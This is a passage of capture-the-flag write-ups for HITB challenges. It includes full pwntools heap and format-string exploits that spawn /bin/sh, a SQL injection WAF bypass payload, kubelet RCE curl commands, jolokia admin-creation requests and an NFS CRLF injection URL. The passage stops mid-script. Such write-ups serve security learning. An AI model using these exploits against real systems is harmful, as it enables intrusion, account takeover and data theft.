"b1,r,msb,xy .. text: "y5b@2~2t"b1,rgb,lsb,xy .. file: Keepass password database 2.x KDBXb2,r,msb,xy .. text: "\rP`I$X7D"b2,bgr,lsb,xy .. text: "b;d'8H~M"b4,g,msb,xy .. text: ";pTr73& dvG:"$ zsteg aee487a2-49cd-4f1f-ada6-b2d398342d99.SteinsGate -e b1,rgb,lsb,xy > keedatabase.kbdx``` Now we have to launch a dictionary attack against this database. then I found [this](https://www.rubydevices.com.au/blog/how-to-hack-keepass) Finally, I found the password and also found the flag found the flag from the database. The flag is `HITB{p1x_aNd_k33pass}` ## pwn ### once (kevin47) #### Vulnerability* Fd and bk of the link list can be overwritten #### Exploit```python#!/usr/bin/env python2 from pwn import *from IPython import embedimport re context.arch = 'amd64' r = remote('47.75.189.102', 9999)lib = ELF('./libc-2.23.so') # leakr.sendline('0')r.recvuntil('choice\n')x = r.recvuntil('>', drop=True)libc = int(x, 16) - 0x6f690lib.address = libcprint hex(libc) # stage 1# overwrite bkr.sendline('2')ubin = libc + 0x3c4b70-8+0x10+8r.send(flat(0xdeadbeef, 0x101, 0xdeadbeef, ubin))r.sendlineafter('>', '1')# unlinkr.sendlineafter('>', '3') # ubin -> bss # stage 2#r.sendline('4')r.sendlineafter('>', '4')# alloc on bssr.sendlineafter('>', '1')r.sendlineafter('size:', str(0x100-8))# write bssstdout, stdin = libc+0x3c5620, libc+0x3c48e0binsh = libc+1625367payload = [ 0, lib.symbols['__free_hook'], # link list bk to overwrite free hook stdout, 0, stdin, 0, 0, binsh, # ptr containing "/bin/sh" [0]*10, # flags = 0]r.sendlineafter('>', '2')r.send(flat(payload))# we can edit1 again :), plus bk is on free hook# back to stage 1r.sendlineafter('>', '4') # ovewrite free_hookr.sendlineafter('>', '2')r.send(flat(lib.symbols['system'])) # stage 2r.sendlineafter('>', '4')# free(ptr) == system("/bin/sh")r.sendlineafter('>', '3') r.interactive() # HITB{this_is_the_xxxxxxx_flag}``` ### gundam (kevin47) #### Overview```Arch: amd64-64-littleRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE enabled```There are 4 operations:1. Build a gundam2. Visit gundams3. Destroy a gundam4. Blow up the factory The structure of a gundam is:``` +---------+ |flag | 0x100 +---------+ +--------------------+ |name_ptr |---->| name | 0x28 +---------+ +--------------------+ |type(str)| | | | | +---------|```* An array of pointer to the gundam structure is on bss.* When a gundam is builded, the program malloc chunks of size 0x28 and 0x100 as shown above, set them properly, and store into the array of pointer on bss.* Visit gundams prints gundams' index, name and type that are not destroyed.* Destroy a gundam sets the flag to 0 and frees the name* Blow up the factory frees the gundam structures that flag are 0. #### Vulnerability* Read name without ending null byte, which can be used to leak.* Destroy a gundam does not clear the name_ptr, which leads to use after free (double free).* The program is running with libc-2.26, which implemented a new feature called tcache to improve performance. However, it does not perform any sanity check for performance's sake. That is, fastbin dup attack can be done anywhere any size without satisfying the size's contraint. #### Leak* Leaking libc addres will be a little bit more complicated than older versions of libc, since tache acts like fastbins and only have heap address on it.* However, tcache has a maximun of 7 chunks. By freeing more than 7 chunks, the remaining chunks will be treated as usual. That is, the chunks of size 0x100 will be at unsorted bins and small bins rather than tache, which contains libc address. #### Exploit* Leak libc and heap addresses.* Use fastbin dup attack to malloc a chunk on **&__free_hook**. Note that in older version of libc we have to `free(a); free(b); free(a);` to bypass double free check. But tache doesn't check, so it can be done simply by `free(a); free(a);`* Overwrite **__free_hook** to **system**. After that, Destroying a gundam with the name `/bin/sh`, which calls `free(name)` will be converted to `system("/bin/sh")` ``` python#!/usr/bin/env python2 from pwn import *from IPython import embedimport re context.arch = 'amd64' r = remote('47.75.37.114', 9999)lib = ELF('./libc.so.6') def build(name, typee): r.sendlineafter('choice : ', '1') r.sendafter('gundam :', name) r.sendlineafter('gundam :', str(typee)) def visit(): r.sendlineafter('choice : ', '2') return r.recvuntil('1 . Build', drop=True) # double freedef destroy(idx): r.sendlineafter('choice : ', '3') r.sendlineafter('Destory:', str(idx)) def blow_up(): r.sendlineafter('choice : ', '4') # leakfor i in range(9): build(chr(0x11*(i+1))*16, 0)for i in range(8): destroy(i)blow_up()for i in range(7): build(chr(0x11*(i+1)), 0)build('a'*8, 0)x = visit()xx = re.findall('0\] :(.*)Type\[0', x, re.DOTALL)[0]heap = u64(xx.ljust(8, '\x00')) - 0x811xx = re.findall('aaaaaaaa(.*)Type\[7', x, re.DOTALL)[0]libc = u64(xx.ljust(8, '\x00')) - 0x3dac78lib.address = libcprint hex(heap)print hex(libc) # exploit# trigger double free libc 2.26 doesn't do any sanity check on tcache# libc 2.26 is awesome!!destroy(2)destroy(1)destroy(0)destroy(0)blow_up()build(flat(lib.symbols['__free_hook']), 0)build('/bin/sh\x00', 0)build(flat(lib.symbols['system']), 0)destroy(1) #embed()r.interactive() # HITB{now_you_know_about_tcache}``` ### d (kevin47) #### Overview```Arch: amd64-64-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x400000)```There are 3 operations:1. Read message2. Edit message3. Wipe message * On read message, we enter a base64 encoded string, the program decodes it and stores in the heap, with ending null byte* Edit message read `strlen(message)` bytes to the message.* Wipe message frees the message and clears the pointer #### Vulnerability* Base64 decode does not check the length properly. If we send `'YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYQ'` which is `base64encode('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')` without the ending `'=='`, the decoder miscalculates the length of the string, which leads to no ending null byte. Edit message then could be used to overwrite next chunk's size. #### Exploit* Use poinson null byte to create overlapped chunks.* Use fastbin dup attack to malloc a chunk on bss, where the pointers are.* We can overwrite the pointers, which leads into arbitrary memory write.* Change free@got to puts@plt, this enable us to leak libc address.* Change atoi@got to system. After this, when reading choice we can enter `/bin/sh`, which calls `atoi(buf)` that is `system('/bin/sh')` now.```python #!/usr/bin/env python2 from pwn import *from IPython import embedimport re context.arch = 'amd64' r = remote('47.75.154.113', 9999) def new_msg(idx, content): r.sendlineafter('Which? :', '1') r.sendlineafter('Which? :', str(idx)) r.sendlineafter('msg:', content) def edit_msg(idx, content, pwn=0): r.sendlineafter('Which? :', '2') r.sendlineafter('Which? :', str(idx)) if pwn: r.sendafter('msg:', content) else: r.sendlineafter('msg:', content) def del_msg(idx): r.sendlineafter('Which? :', '3') r.sendlineafter('Which? :', str(idx)) def b64e(c): return c.encode('base64').replace('\n', '') def exp_new_msg(idx, content): b64 = b64e(content) if b64[-2] == '=': new_msg(idx, b64[:-2]) elif b64[-1] == '=': new_msg(idx, b64[:-1]) else: new_msg(idx, b64) # 40 & 41 are the magic numbers :)exp_new_msg(0, 'a'*40)new_msg(1, b64e('a'*0x203))new_msg(2, b64e('a'*0x100))edit_msg(1, flat( [0xdeadbeef]*28, 0xf0, 0x20, 0, 0, [0xaabbccdd]*30, 0x200, 0x120,)) # overflow 1's size (unsorted bin)del_msg(1)edit_msg(0, 'a'*40) new_msg(3, b64e('b'*0x100))new_msg(4, b64e('c'*0x60))del_msg(3)del_msg(2)# for fastbin attackdel_msg(4) # overlapped chunks, overwrite fastbin->fdnew_msg(5, b64e('d'*0x200))fast_bin_addr = 0x60216dedit_msg(5, flat( [0]*32, 0, 0x71, fast_bin_addr,)) new_msg(6, b64e('a'*0x60))# on bssnew_msg(60, b64e('A'*0x60))free_got = 0x602018strlen_got = 0x602028atoi_got = 0x602068puts_plt = 0x400770alarm_plt = 0x4007b0edit_msg(60, 'BBB'+flat(free_got, atoi_got, atoi_got, strlen_got)) # free -> putsedit_msg(0, flat(puts_plt))# free(1) == puts(atoi_got)del_msg(1)x = r.recvuntil('1. read')xx = x[8:14].ljust(8, '\x00')libc = u64(xx)-0x36e80system = libc + 0x45390print 'libc:', hex(libc) # strlen -> alarm to bypass read_n len restrictionedit_msg(3, flat(alarm_plt))# atoi -> systemedit_msg(2, flat(system)[:-1])r.sendline('/bin/sh') r.interactive() # HITB{b4se364_1s_th3_b3st_3nc0d1ng!}``` ### babypwn (how2hack) #### VulnerabilityA challenge with format string vulnerability without given binary. #### SolutionMy first intuition is to find the `.got.plt` section and overwrite something into `system`. As the binary has no PIE enabled (can find out by leaking some address out and you will notice there are a lot of address start with `0x40XXXX` or `0x60XXXX`), we can guess the `.got.plt` section is around `0x601000`. ```0x601000 0x202020600e200x601008 0x7fb6b46171680x601010 0x7fb6b44078700x601018 0x7fb6b409c6b00x601020 0x102020202020 # ????0x601028 0x7fb6b4094d800x601030 0x7fb6b4123d60```I was unable to leak `0x601020` for some reason.I try to leak the called functions as well.```0x4003c5 gets ?@0x4003ca stdin ?@0x4003d0 printf ?@0x4003d7 stdout ?@0x4003de stderr ?@0x4003e5 usleep ?@0x4003ea setbuf ?@0x4003f1 __libc_start_main ?@```Then I have to leak the libc version, but I am too lazy to do it so I try to find my local libc and check for the offset.```gets: 0x6ed80 (0x601028)printf: 0x55800 (0x601020)?usleep: 0xfdd60 (0x601030)```Now I understand why `0x601020` was unable to leak because of the null byte of its offset. I confirmed this by checking `0x601021` and I got this:```0x601021 0x7f3e9ac0d8 (end with '8', so the offset should be '800')```Finally, overwrite `printf` to `system` then we get the shell. #### Exploit```python#!/usr/bin/env python from pwn import * host = '47.75.182.113'port = 9999 r = remote(host, port) def fmt(prev, word, index): if prev < word: result = word - prev fmtstr = '%' + str(result) + 'c' elif prev == word: result = 0 else: result = 256 - prev + word fmtstr = '%' + str(result) + 'c' fmtstr += '%' + str(index) + '$hhn' return fmtstr sleep(5) system_off = 0x45390printf_plt = 0x601020gets_plt = 0x601028gets_off = 0x6ed80 payload = '%7$s ' + p64(gets_plt)r.sendline(payload)gets = u64(r.recv(1000, timeout=1)[:6].ljust(8, '\x00'))print 'gets:', hex(gets) libc = gets - gets_offprint 'libc:', hex(libc) system = libc + system_offprint 'system:', hex(system) payload = ''prev = 0for i in range(3): payload += fmt(prev, (system >> 8 * i) & 0xff, 11 + i) prev = (system >> 8 * i) & 0xff payload += 'A'*(8 - (len(payload) % 8))payload += p64(printf_plt) + p64(printf_plt+1) + p64(printf_plt+2) r.sendline(payload) r.recv(1000)sleep(1) r.sendline('/bin/sh')r.sendline('cat flag')flag = r.recvline() log.success('FLAG: ' + flag)``````[+] Opening connection to 47.75.182.113 on port 9999: Donegets: 0x7f99aca0dd80libc: 0x7f99ac99f000system: 0x7f99ac9e4390[+] FLAG: HITB{Baby_Pwn_BabY_bl1nd}[*] Closed connection to 47.75.182.113 port 9999``` ## web ### Upload (bookgin) #### Find the targetFirst, we can upload some images to the server. With some manual tests, we found we can upload `.PHP` to the server, since `.php` is WAFed. Addiotionally, we notice that the server OS is running Microsoft IIS, so the filesystem is case-insensitive. Next, we have to dig how to access our webshell. We have no idea the directory name of the uploaded files. Therefore, the objective is very clear: retrieve the path name of the directory. It's Windows+PHP, so let's give this a try. Refer to [onsec whiltepaper - 02](http://www.madchat.fr/coding/php/secu/onsec.whitepaper-02.eng.pdf) page 5. I even write a post about this feature in [my blog](https://bookgin.github.io/2016/09/07/PHP-File-Access-in-Windows/) (in Chinese). #### Brute force the path and RCEHere is the brute script: ```python#!/usr/bin/env python3# Python 3.6.4import requestsimport stringsess = requests.session() name = ''while True: print(name) for i in string.digits + string.ascii_letters: guess = name + str(i) if 'image error' not in sess.get('http://47.90.97.18:9999/pic.php?filename=../' + guess + '%3C/1523462240.jpg').text: name += str(i) break``` We have RCE now. Next, we found the flag is in `../flag.php`, but some php useful function is disabled. A quick bypass is `highlight_file`. Here is the web shell:```phpuser->updateavatar($data)) quit('Something error!');} else{ //TODO!report it! $out="Your avatar is invalid, so we reported it".""; $report=$this->user->getreport(); if($report){ $out.="Your last report used email ".htmlspecialchars($report[2],ENT_QUOTES).", and report type is ".$report[3]; } include("templates/error.html"); if(!$this->user->report(1)) quit('Something error!'); die();} ``` Also, when insering a new report, it seems vulnerable to SQL injection. Unlike other edting features in the website, the email address here is not properly escaped through `addslashes()`. ```phpfunction report($type_id){ return $this->db->Insert("reports",array($this->id,"'$this->email'",$type_id));} ``` But how to trigger this error in order to create a new report? We have to make the test failed `file_exists($avatar)`. The `$avatar` is the filepath of our avatar, and the fiepath is `upload/[USERNAME].png`. In order to make the file somehow "disappeared", we can make avatar.filepath length limit `varchar(300)` in the SQL schema very long, because in the source code:```php$filename="uploads/".$this->user->getuser().".".$type;if(is_uploaded_file($_FILES['avatar']['tmp_name'])){ $this->user->edit("avatar",array($filename,$type));``` Simply register a user with username length 300, and the avatar.filepath will be truncated. Next, in order to exploit SQL injection, we have to bypass the email format regex check and another filter. #### Bypass WAFs ##### Email format regex check```phpif(!preg_match('/^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|([\"].+[\"]))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/i',$value)) return false;``` Taking a closer look, we found it can be bypassed using double quotes. This is a valid email address `"', 17385)#'"@a.aa`. ##### Hacker Filter ```php$preg="\\b(benchmark\\s*?\\(.*\\)|sleep\\s*?\\(.*\\)|load_file\\s*?\\()|UNION.+?SELECT\\s*(\\(.+\\)\\s*|@{1,2}.+?\\s*|\\s+?.+?|(`|\'|\").*?(`|\'|\")\\s*)|UPDATE\\s*(\\(.+\\)\\s*|@{1,2}.+?\\s*|\\s+?.+?|(`|\'|\").*?(`|\'|\")\\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|\'|\").*?(`|\'|\"))FROM(\\{.+\\}|\\(.+\\)|\\s+?.+?|(`|\'|\").*?(`|\'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";if(preg_match("/".$preg."/is",$string)){ die('hacker');} ``` This regex almost filters all the useful keywords in SQL. However, we note that the first character `b` in the regex, which means [word match](http://php.net/manual/en/function.preg-match.php#105924). Thus, we can just append a MySQL comment `/**/` to bypass the filter! #### Get the flag The payload will be like this. In order to creat a valid SQL query, the `#` is required to comment out the trailing `@a.aa` in the email address.```"', 12), (10272, (SELECT * FROM/**/ users), 9487)#"@a.aa``` So the raw SQL query in the server side becomes:```insert into reports (`...`, `...`) values (9453 , '"', 12), (10272, (SQLi PAYLOAD), 9487)#"@a.aa' , 1 )``` After retriving the table and column name using group_concat and information_schema, we are able to get the flag. Final payload: `"', 9453), (10272, (SELECT GROUP_CONCAT(fllllag_is_hhhhere) FROM/**/ fffflag_is_here), 9487)#"@a.aa` The flag is `HITB{2e9ular131mp0rt4nt}`. Refer to [SQL injection cheatsheet by pentestmonkey](http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet) ### baby baby (bookgin) #### Recon The NMAP scanning result shows 3 ports are opened: - 80: HTTP + nginx- 9999: HTTP + nginx- 10250: HTTPS + unkownn backend First, the 80 port webserver is running PHP as backend. For the port 9999, it returns 403 forbidden when accessing the root. How about trying to access `index.php` ? To our surprise we got this: ```phpThis is a pentest challenge, open your mind! ``` Note that ther are 2 underscores. After wasting 2 hours on finding a way to exploit this backdoor, we think this direction is incorrect. It's just a troll. So how about the 10250 port? We use Dirbuster to brute force the filepath at a very low rate (2 request per second), to not affect other teams. Quickly it finds 2 intersting pages: - https://47.75.146.42:10250/metrics- https://47.75.146.42:10250/stats After Googling, this is related to kubelet API. Acctually, we can just Google the port number and found it. However we fotgot to do that...... It's really dumb to do directory name brute force. Another quick Google, we found the kubelet API is vulnerable to RCE. Refer to https://github.com/bgeesaman/hhkbe, page P.35. #### RCE - Get the info of running pods: `curl -sk https://47.75.146.42:10250/runningpods/`- RCE: `curl -sk https://47.75.146.42:10250/run/esn-system/web-test-4092782360-035qx/web-test -d 'cmd=cat /flag.txt'` The flag is `HITB{KKKKKKKKKKKKKKKKKKKKKKKKK}`. (The acronym of kubernetes is k8s) ### baby nya (bookgin) The hint: `the tomcat deployed jolokia.war` #### Exposed Jserv protocol 2 ports are open: - 8009: ajp13 Apache Jserv- 9999: nginx HTTP The 9999 port will only return `<h1>debug port for admin, you can just ignore the port.</h1>`. We trust him so we didn't dig it deeper. For the 8089 port, it exposes the Jserv protocol, we can set up a apache as a local proxy server to coonect tot the remote webserver. Refer to https://highon.coffee/blog/sleepy-ctf-walkthrough/#apache-tomcat-jserv-proxy-setup . A quick dive into the webserver, we found the jolokia API can be used. For the document, refer to https://jolokia.org/reference/html/protocol.html . #### Exploit the jolokia Refer to https://paper.seebug.org/552/ - List APIs : `/jolokia/list`- CreateAdmin Account and login: POST 3 jsons requests, Here is the script. You can use curl to send json request as well.```#!/usr/bin/env python3# Python 3.6.4import requestsimport jsonsess = requests.session() payload = { 'type':'EXEC', "mbean": "Users:database=UserDatabase,type=User,username=\"taiwannoooo1\"", #'mbean':'Users:database=UserDatabase,type=UserDatabase', 'operation':'addRole', #'arguments':['manager-gui'], 'arguments':['taiwannoooo1', 'TAIWAN', 'i_love_taiwan'],} response = sess.post('http://MY_SERVER_IP/jolokia', json=payload) response_json = json.loads(response.text)response_json = json.dumps(response_json, indent=2, sort_keys=True)print(response_json)print(response.status_code)```- Login to admin interface: `/manager/` The flag is displayed in the manager interace. `HITB{TOMCAT_TOMCAT_KAWAII}` ### baby fs (unsolved, written by bookgin, thanks to the organizer QQ group) **This writeup is from organizer QQ group (not IRC).** - The parameters: ip, permission, squash, path- Problem name: baby fs- HTML title: CFS With the knowledge above, one should know it's a NFS server. The page seems to update `/etc/exports` per key. Then, the ip parameter can accpeted ip range `1.2.3.4/24`, and it seems vulnerable to CRLF injection. The payload is `http://47.75.35.123:9999/?action=create&key=8ce29e523ed35f49c7eb38b63c91f269&ip=140.112.0.0%0A/%20*&permission=rw&squash=no_root_squash`. Then, listing the root directory through `http://47.75.35.123:9999/?action=list&key=8ce29e523ed35f49c7eb38b63c91f269&path=/` shows the flag. The flag is `HITB{---->}!}<0>cccc}`. I think this challenge requires some guessing. Until the competition ends, icchy (Tokyo westerns) is the only one who solves this challenge. Additionally, they solve it very quickly after the challenge releases. Congraz to them. They definitely have brorder knowledge! Update: According to Tokey Westerns' writeup, this problem seems to provide an output with more details when the organizer first releases the challenge, `/data/k989ug3pzj 127.0.0.1(rw,all_squash)`. However, the organizer seems to update this challenge during the competition. The output becomes `/data/k989ug3pzj`, which is less informational. I think the hint in the problem `bug fixed of baby fs on creating directory` explains this. They acctually "fixed" a hint. I don't think it's fair. ### 3pigs (unsolved, written by how2hack)#### Hint>1) this is web pwn>2) Go, I put everything there-----github>3) you can make the size of topchunk very small>4) https://github.com/thr33pigs/3pigs/tree/master/ctf>5) fix the flag #### Web Challenge? WutFaceYou can get the source code from the given Github link.The webserver using Flask(Python) as backend and connect to another server (which is the 3pigs binary).The vulnerabilities basically not related to web so I think the first hint make sense. >_>User uses this website to make actions and the webserver will communicate with the binary server and return the given responses to the user. #### First stage (Misc)Before checking the binary, I noticed that there is a kind of "flying pig" that needs a special `secret` code to be able to make it online.```[email protected]('/flypig.php', methods=['POST'])def flypig(): if not isadmin(session): return alert("Not Login!") try: secret = request.form.get('secret',None) secret = secret.decode("base64")[:0xc0] useflypig = getb(session).getpigs()[-1].status for i in 'UOTp%I()<>S': if i in secret: return 'Hacker' secret = secret.format("") except: return 'Input Error' ret = getb(session).flypig(secret,useflypig) if secret else "No Secret" if ret == 'Time Out': logout() return ret else: return ret```And from the binary, there is a `flypig()` function:```Cvoid flypig() { puts("secret:"); read_n_input(s1, 9); if ( unk_203090 || strncmp(s1, "UOTp%I<S", 8uLL) ) { puts("Error_4"); } else { unk_203088 = malloc(0x70uLL); unk_203090 = 1; puts("Success"); }}```Obviously, the `secret` code is `UOTp%I<S`.However, the webserver filtered all these characters, which means you can't use this function at all! (really?) #### Python Format String VulnerabilityI was wondering why `secret = secret.format("")` is in the code, so I try to Google it and I found http://lucumr.pocoo.org/2016/12/29/careful-with-str-format/ about danger of Python Format String function, pretty interesting...The idea is, we can use the attribute of python `str` and also the format string feature to create the `secret` code.```>>> dir('')['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill'] >>> ''.__doc__"str(object='') -> string\n\nReturn a nice string representation of the object.\nIf the argument is a string, the return value is the same object." >>> ''.__doc__[77]'I'```Basically all the attribute itself has `__doc__`, so try to find every characters you need from `str` attributes. ```>>> secret = '{0.__getslice__.__doc__[56]}{0.count.__doc__[128]}{0.__new__.__doc__[0]}{0.count.__doc__[129]}{0.__mod__.__doc__[19]}{0.__class__.__doc__[77]}{0.__le__.__doc__[12]}{0.count.__doc__[0]}'>>> secret.format('')'UOTp%I<S'``` Payload: `{0.__getslice__.__doc__[56]}{0.count.__doc__[128]}{0.__new__.__doc__[0]}{0.count.__doc__[129]}{0.__mod__.__doc__[19]}{0.__class__.__doc__[77]}{0.__le__.__doc__[12]}{0.count.__doc__[0]}` #### Second stage (Pwn)``` Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled```There are 5 functions:1. Add a pig (`malloc(0xc8)`, max=3)2. Free a pig (`free(pig)`, and set pointer to `'\0'`)3. Get pigs (Print out the info of all pigs)4. Flypig (A special pig that need a `secret` code, `malloc(0x70)`, can only use once, cannot be freed)5. Flying (Give "Flypig" 16 bytes data, can only use once) The structure of a normal pig:```+----------------+----------------+ <- current| | size(0xd0) |+----------------+----------------+| pig_name | (unused) |+----------------+----------------+| || data (0xb8) || || +----------------+ <- next | | topchunk_size |+----------------+----------------+``` #### Vulnerability* one-byte-off```Cvoid read_input(char* buf, int num) { v3 = read(0, buf, num); if ( v3 <= 0 ) { puts("Error_0"); exit(0); } if ( buf[v3 - 1] == '\n' ) buf[v3 - 1] = '\0'; else buf[v3] = '\0';}```From the read_input function, if we read `num` chars, then it will trigger one-byte-off vulnerability. Basically we can use this to overwite `topchunk` size (as the hint said). * Flying pig (overwrite next chunk first 16 bytes data)```Cvoid flypig() { ... flypig_addr = malloc(0x70); ...} void flying() { ... read_input((char *)(flypig_addr + 0x80), 16); ...}```Just as the pig's name, this pig can "fly" to next chunk and overwrite first 16 bytes (17 if one-byte-off) of the data. Can use this to overwrite freed `fd` and `bk`. ```+----------------+----------------+ <- flypig| | size(0x80) |+----------------+----------------+| || unused data (0x70) || |+----------------+----------------+ <- freed chunk | | size |+----------------+----------------+ <- flying() input| fd | bk |+----------------+----------------+``` #### Solution...? * Leak libc address There are 3 different pigs `Ke Gua`, `Red Boy`, `Small Li`.The `addpig()` function will use `strncpy(buf, pig_name, pig_name_len)` to copy pig's name to `pig_name`.Notice that `Small Li` is 8 bytes, so if we add this pig, we can leak the freed chunk `bk` pointer as no null byte will append after calling `strncpy`, then we can calculate libc address. * Leak heap address Using the one-byte-off vulnerability, we can overwrite the `top_chunk` size and caused `sysmalloc` to create a new heap.Then use the same method above to leak heap address. * ... I was unable to solve this challenge in time as I couldn't find a way to exploit. So close.... ## crypto ### easy\_block (sasdf)#### Vulnerability* We have a service to compute mac for any plaintext. ```python # must be delete! elif choice[0] == 'c': un = input('your username:>>') un = bytes(un, 'ISO-8859-1') print(sha256(mac_key + un).digest().hex()) ```* Unpad function doesn't check for valid padding that can trim more than 16 bytes. ```python def unpad(s): return s[0:-s[-1]] ```* Leak 17 bytes of decrypted message. ```python sha256(mac_key + plaintext).digest().hex()[-64:-30] ```* It check last 31.5 bytes of mac instead of whole string ```python sha256(mac_key + plaintext).digest().hex()[-63:] == hash.hex()[-63:] ``` #### Construct payloadSend `admin` as username, and we will get encrypted data of `adminuser`, modify the padding and trim off the suffix `user`. Use second and third blocks to construct a (48 - 5) bytes padding to avoid being affected by initial vector. #### Construct hashUse subroutine `c` to compute target hash. The initial vector is shared between payload and hash, we cannot modify the first 5 bytes because it will change our plaintext. Fortunately, padded message of hash is (32 + 16) bytes, and only last 31.5 bytes after unpad will be verified. So we can use ciphertext of `[5 bytes garbage][32 bytes hash]` as our mac, left first 5 bytes of initial vector unchanged. The ciphertext is constructed by xor previous block with desired plaintext and decrypted plaintext. ### easy\_pub (sasdf)```pythonbytes_to_long(b'\x00\xff') == bytes_to_long(b'\xff') == 255long_to_bytes(bytes_to_long(b'\x00\xff')) == b'\xff'```If we register with empty username, it will give us secret `admin_k` when we login. DONE. ### streamgamex (sasdf)Use first 24 bits of output as state. Run in reverse direction to get lower 24 bits of initial state (i.e. flag). Bruteforce first 17 bits that satisfy sha256 given in hint.```pythonmask = 0b10110110110011010111001101011010101011011for _ in range(24): lastbit = state & 1 state >>= 1 i = (state & mask) while i!=0: lastbit^=(i&1) i=i>>1 state|=(lastbit<<23) print('State: %s' % bin(state)[2:].rjust(24, '0'))state = bin(state)[2:].rjust(24, '0')``` ### base (how2hack)This challenge let user input one string and output the "encoded" string.Our goal is to decode the given string, which is the flag: `2SiG5c9KCepoPA3iCyLHPRJ25uuo4AvD2/7yPHj2ReCofS9s47LU39JDRSU=` From the challenge name, I quickly think of base64 and other similar encoding algorithm. However I can't really tell how it works as it encodes the string totally different as the usual one. I try to spam some string and see what I can get, and I think Brute Forcing may help. Note: I try to scan through all the ASCII (256 possibilities), but after some tries I noted that the flag is only contains hex (16 possibilities). Here is the script how I attempt to brute force:```pythonflag = '2SiG5c9KCepoPA3iCyLHPRJ25uuo4AvD2/7yPHj2ReCofS9s47LU39JDRSU='possibilities = range(0x30, 0x3a) # 0-9possibilities.extend(range(0x61, 0x67)) # a-fchoose = ''while True: print flag for i in possibilities: r.sendline(choose+chr(i)) print r.recvline().strip() choose = raw_input().strip()``` Flag: `HITB{5869616f6d6f40466c61707079506967}` ```>>> '5869616f6d6f40466c61707079506967'.decode('hex')'Xiaomo@FlappyPig'```Hi Xiaomo :)... ## mobile ### kivy simple (sces60107) First I extract the `classes.dex` and try analyse the code. Eventually I found that this apk is using python. The python script is hidden in the `private.mp3` Though the scripts is compiled, you can use `uncompyle2`. Now we have the main.py```python=from kivy.uix.popup import Popupfrom kivy.app import Appfrom kivy.uix.label import Labelfrom kivy.uix.textinput import TextInputfrom kivy.uix.button import Buttonfrom kivy.uix.boxlayout import BoxLayoutimport binasciiimport marshalimport zlib class LoginScreen(BoxLayout): def __init__(self, **kwargs): super(LoginScreen, self).__init__(**kwargs) self.orientation = 'vertical' self.add_widget(Label(text='FLAG')) self.flag = TextInput(hint_text='FLAG HERE', multiline=False) self.add_widget(self.flag) self.hello = Button(text='CHECK') self.hello.bind(on_press=self.auth) self.add_widget(self.hello) def check(self): if self.flag.text == 'HITB{this_is_not_flag}': return True return False def auth(self, instance): if self.check(): s = 'Congratulations you got the flag' else: s = 'Wrong answer' popup = Popup(title='result', content=Label(text=s), auto_dismiss=True) popup.open() screen = LoginScreen()b64 = 'eJzF1MtOE2EUB/DzTculUKAUKJSr3OqIV0TBGEOMRqIuatJhowsndTrVA+MlnYEYhZXEhQuXLlz4CC58BBc+ggsfwYWPYDznhHN8BJr5Tv7fby6Z8/VrIzj+eDRu0kirVFoARwCPAGI6HOx4EBI6CHy+LHLH1/O4zfd8onQAsEOHg0MHmQcHDt45vmc3B50FyHIQELU8qLZyYutmebIusftm3WQ9Yo/NeskKYh2zPrJ+sfdmRbIBsc9mg2RDYl/NSmTDYt/NymQjYj/NRsnGxH6bVcjGxf6aTZBVxcpObdL6rZlNkU2LXTebsT7qZrP2fk/M5shOie2bzdvzPpgtkC2KfTFbIlsW+2ZWIzst9sPMJzsj9stsheys2B+zc2TnxTxP7YL1UTG7aLZidolsVWzT7LL11jBbI7si1ja7SrYu9sZsw+yjWJaHgHZx4F+j/VnHOao4TCXjvbuBQxqXsV9jgDmNt7CiMURP4zZOaXyA3RrncVTjEpY0djCv8S2Oa3yF/OtC0PldLPN8hkuf4ioO8nxA5zWc1LiITuM97NG4hbMaD3FE4z4W+TEFLhOKD7GL59M6r+OYxjXsperz+YzfvZ00n0rI4tdZxkuTxC8yPr3VTNJYTm139mL5S5BZGidteVTqc4dSMil8V/Qsjnb52vSIzRVdGfKu5E5seHWfu2rw3sj460yjTkwt8oqFYZQ00zQM/3cipSErzQt14/nL1l4Sb0pHXAp3/gENPMQt'eval(marshal.loads(zlib.decompress(binascii.a2b_base64(b64)))) class MyApp(App): def build(self): return screen app = MyApp()app.run() ``` There is a second stage. But it is not difficult to understand. The following is the script to extract flag ```python=import zlibimport marshalimport disb64 = 